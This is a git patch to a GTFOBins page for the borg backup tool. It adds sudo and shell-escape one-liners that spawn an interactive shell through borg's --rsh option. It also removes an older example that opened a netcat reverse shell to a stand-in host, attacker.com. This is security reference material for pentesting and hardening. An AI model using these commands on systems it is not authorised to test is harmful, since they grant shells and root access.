From a89f57c1490f4840bd7d42a38583c0ebcea5d942 Mon Sep 17 00:00:00 2001 From: JM Sanchez <77505889+jmrcsnchz@users.noreply.github.com> Date: Mon, 19 Aug 2024 00:06:50 +0800 Subject: [PATCH] Update borg.md --- _gtfobins/borg.md | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/_gtfobins/borg.md b/_gtfobins/borg.md index a934554..78d296d 100644 --- a/_gtfobins/borg.md +++ b/_gtfobins/borg.md @@ -1,9 +1,6 @@ --- + shell: + code: borg extract @:/::: --rsh "sh -c 'sh /dev/tty 2>/dev/tty'" sudo: - - description: Run `nc -lvnp 12345` on the attacker box to receive the shell. - code: | - RHOST=attacker.com - RPORT=12345 - NETCAT=/usr/bin/nc - sudo borg extract .@.:/::. --rsh "$NETCAT $RHOST $LHOST -e sh" + code: sudo borg extract @:/::: --rsh "sh -c 'sh /dev/tty 2>/dev/tty'" ---